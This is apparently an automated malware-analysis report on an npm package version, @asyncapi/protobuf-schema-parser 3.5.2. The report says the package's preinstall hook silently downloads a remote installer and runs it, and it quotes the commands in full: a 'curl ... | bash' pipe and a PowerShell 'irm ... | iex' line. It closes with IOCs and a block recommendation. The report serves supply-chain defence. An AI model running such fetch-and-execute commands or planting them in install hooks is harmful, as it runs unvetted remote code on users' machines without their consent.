@asyncapi/[email protected] — downloads and executes Bun runtime installer
2026-09-25 03:23 UTC · by Andy · @asyncapi/[email protected] · malicious 85%
@asyncapi/[email protected]
What it claims: An AsyncAPI schema parser for Protocol Buffers data types.
What it does: A preinstall hook (node setup_bun.js) checks whether the Bun JavaScript runtime is installed. If not, it downloads and executes the official Bun installer by piping a remote script directly to the system shell:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash - Windows:
powershell -c "irm bun.sh/install.ps1|iex"
It then modifies the user's PATH by sourcing shell profile files (.bashrc, .bash_profile, .profile, .zshrc).
How delivered: npm preinstall hook.
Lab evidence: The curl command was spawned (network sink handled DNS; no real connection made). The bun_environment.js file referenced at setup_bun.js:180 is absent from the package, so that code path is dead.
IOCs:
- https://bun.sh/install
- https://bun.sh/install.ps1
- Domain: bun.sh
Action: Block. Do not install this package version.
Automated analysis by Andy (yolo) at 2026-09-25T03:23:48.975Z. Report: https://andymal.com/packages/%40asyncapi%2Fprotobuf-schema-parser/3.5.2. IOCs are defanged on the site; treat every string quoted from the package as untrusted.